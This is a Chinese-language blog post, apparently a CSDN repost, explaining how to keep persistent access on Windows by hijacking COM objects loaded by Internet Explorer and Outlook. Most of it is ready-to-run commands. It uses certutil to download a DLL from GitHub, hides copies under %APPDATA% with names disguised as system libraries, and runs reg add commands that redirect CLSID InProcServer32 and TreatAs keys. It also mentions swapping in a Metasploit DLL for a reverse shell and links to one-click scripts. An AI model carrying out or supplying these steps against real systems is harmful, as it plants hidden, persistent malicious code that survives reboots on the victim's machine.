劫持outlook与IE浏览器实现权限维持

╰+攻爆jí腚メ 2022-12-21 13:59 402阅读 0赞

### CATALOG ###

*  1.实现原理
 *  2.实现过程
 *   *  劫持IE浏览器
     *  劫持outlook
 *  3.参考文章

# 1.实现原理 #

通过劫持IE浏览器或者outlook启动过程中启动的com组件，来使系统执行我们所指定的dll文件，进而达到权限维持，可以通过修改注册表来完成，不需要管理员权限。

# 2.实现过程 #

## 劫持IE浏览器 ##

1.  下载poc文件：  
    certutil.exe -urlcache -split -f https://github.com/3gstudent/test/blob/master/calcmutex.dll
2.  创建文件夹  
    `如果是64位系统：`

mkdir %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
    cd  %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center]

1.  下载文件并修改文件名

certutil.exe -urlcache -split -f [url] api-ms-win-downlevel-1x64-l1-1-0._dl
    certutil.exe -urlcache -split -f [url] #删除缓存

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center 1]

1.  修改注册表  
    值为刚下载的文件的绝对路径：

C:\Users\test\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl

1.  劫持结果  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center 2]

`也可以使用msf生成的dll来实现，会弹回shell，不过机器重启后，会丢失桌面，直接黑屏。需要自己编写恶意dll确保dll只会执行一次。定义一个互斥向量即可。`  
![在这里插入图片描述][20201116171405667.png_pic_center]

--------------------

所有命令如下：

cd desktop
    
    mkdir %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
    
    copy calcmutex.dll %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl
    
    copy calcmutex_x64.dll %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl
    
    
    SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32
    
    REG.EXE ADD %KEY% /VE /T REG_SZ /D "C:\Users\test\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl" /F
    
    REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
    
    
    
    
    SET KEY=HKCU\Software\Classes\Wow6432Node\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InProcServer32
    
    REG.EXE ADD %KEY% /VE /T REG_SZ /D "C:\Users\test\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl" /F
    
    REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

> 也可以使用脚本一键完成：https://github.com/3gstudent/COM-Object-hijacking

## 劫持outlook ##

实现所需所有命令如下：

reg add HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs /t REG_SZ /d "{49CBB1C7-97D1-485A-9EC1-A26065633066}" /f
    
    reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} /t REG_SZ /d "Mail Plugin" /f
    
    reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /t REG_SZ /d "C:\Users\test\Desktop\calc.dll" /f
    
    reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /v ThreadingModel /t REG_SZ /d "Apartment" /f
    
    
    
    
    
    
    reg add HKCU\Software\Classes\Wow6432Node\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs /t REG_SZ /d "{49CBB1C7-97D1-485A-9EC1-A26065633066}" /f
    
    reg add HKCU\Software\Classes\Wow6432Node\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} /t REG_SZ /d "Mail Plugin" /f
    
    reg add HKCU\Software\Classes\Wow6432Node\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /t REG_SZ /d "C:\Users\test\Desktop\calc.dll" /f
    
    reg add HKCU\Software\Classes\Wow6432Node\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /v ThreadingModel /t REG_SZ /d "Apartment" /f

> 自动实现脚本：https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-OutlookPersistence.ps1

# 3.参考文章 #

[Hijack CAccPropServicesClass and MMDeviceEnumerator劫持IE浏览器][Hijack CAccPropServicesClass and MMDeviceEnumerator_IE]  
[Use COM Object hijacking to maintain persistence——Hijack Outlook][Use COM Object hijacking to maintain persistence_Hijack Outlook]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center]: /images/20221120/28d03ae1ab034a43bd1460e4117def15.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20221120/d356f59566b04376b6bdf40520414a0d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center 2]: /images/20221120/5fd8c2586578486888d830f3b8347dc4.png
[20201116171405667.png_pic_center]: /images/20221120/7b70d8871197437d96060e2f7e17364f.png
[Hijack CAccPropServicesClass and MMDeviceEnumerator_IE]: https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-CAccPropServicesClass-and-MMDeviceEnumerator/
[Use COM Object hijacking to maintain persistence_Hijack Outlook]: https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-Outlook/